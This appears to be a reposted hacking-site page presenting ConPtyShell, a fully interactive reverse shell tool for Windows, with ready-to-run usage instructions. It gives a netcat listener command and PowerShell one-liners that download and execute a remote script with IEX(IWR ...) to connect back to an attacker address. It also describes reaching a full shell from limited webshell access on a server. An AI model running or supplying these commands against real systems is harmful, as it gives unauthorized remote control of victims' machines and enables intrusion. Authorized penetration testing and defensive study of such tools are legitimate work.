conpty shell, Exploitation, Hacking

ConPtyShell – Fully Interactive Reverse Shell for Windows

ConPtyShell is a Fully Interactive Reverse Shell for Windows systems.

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals. ConPtyShell uses this feature to literally transform your bash in a remote powershell.

Briefly, it creates a Pseudo Console and attaches 2 pipes.
Then it creates the shell process (default powershell.exe) attaching the Pseudo Console with redirected input/output.
Then starts 2 Threads for Async I/O:
– one thread for reading from the socket and writing to Pseudo Console input pipe;
– the second thread for reading from the Pseudo Console output pipe and writing to the socket.

ConPtyShell isn’t an “Upgrade to fully interactive” method for your reverse shell, just use it as your reverse shell 🙂

NOTE: ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Requirements

Client Side: Windows version >= 10 / 2019 1809 (build >= 10.0.17763)

Server Side: any tcp listener, i.e. netcat

Usage

It’s important to have the same rows and cols size between your terminal and the remote terminal if you want to have an aligned output on the shell.

Method 1

In this method the terminal size is set without you pass the rows and cols parameters to Invoke-ConPtyShell function:

Server Side:
stty raw -echo; (stty size; cat) | nc -lvnp 3001 
Client Side:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001 

or, if you upload the ps1:

IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001 
Also read: Invisi-Shell: Bypass all Powershell security features

Method 2

If you prefer to have more freedom on the tcp listener and your terminal you can proceed with a “Manual” way to get the reverse shell. In this case it’s important that you set rows and cols size when calling the Invoke-ConPtyShell function:

Server Side:
stty size nc -lvnp 3001 Wait For connection ctrl+z stty raw -echo fg[ENTER] 
Client Side:

Here you should use the values read from stty size command in the Parameters -Rows and -Cols

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80 

or, if you upload the ps1:

IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80 

Change Console Size

In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code:

$width=80 $height=24 $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) 
Also read: SecurityNotFound – 404 Page Not Found Webshell

Demo

Below in the video you can watch a simulated scenario where on the left terminal i have a limited access to the server through a webshell and on the right i spawn a fully interactive reverse shell playing around:

Source : Haxf4rall

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